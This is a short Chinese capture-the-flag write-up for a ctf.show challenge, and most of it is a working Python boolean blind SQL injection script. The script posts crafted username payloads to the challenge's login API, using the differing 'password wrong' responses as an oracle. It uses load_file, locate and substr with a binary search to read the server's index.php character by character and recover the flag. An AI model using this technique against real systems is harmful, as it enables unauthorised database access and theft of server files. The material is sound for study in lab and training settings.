和上道题目题目类似,但是数据库里存的内容改变了
    这里用0 0无法登录,会返回密码错误
    但是0 1||1 又被过滤了
    而用 1 1登录的时候会返回查询失败
    我们可以根据两个返回的不同的值来进行布尔盲注

    1. import requests
    2. url = "http://3c62eaac-7e52-44c0-8a45-ae24d2881a92.challenge.ctf.show/api/"
    3. payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"
    4. payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
    5. def find_flag_index():
    6. head = 1
    7. tail= 300
    8. while head < tail:
    9. mid = (head + tail) >> 1
    10. data = {
    11. "username": payload1.format(index=mid),
    12. "password": '0'
    13. }
    14. response = requests.post(url, data=data)
    15. if "密码错误" in response.json()['msg']:
    16. head = mid +1
    17. else:
    18. tail = mid
    19. print("[!]flag index",mid)
    20. return mid
    21. def getFlag(num):
    22. i = int(num)
    23. flag = ""
    24. while True:
    25. head = 32
    26. tail = 127
    27. i = i + 1
    28. while not (abs(head-tail) == 1 or head == tail):
    29. mid = (head + tail) // 2
    30. data = {
    31. "username": payload2.format(i,mid),
    32. "password": '0'
    33. }
    34. response = requests.post(url,data=data)
    35. if "密码错误" in response.json()['msg']:
    36. head = mid
    37. else:
    38. tail = mid
    39. if tail < head:
    40. tail = head
    41. flag += chr(tail)
    42. print("[!]flag:",flag)
    43. if flag[-1] == "}":
    44. break
    45. if __name__== "__main__":
    46. Index = find_flag_index()
    47. getFlag(Index)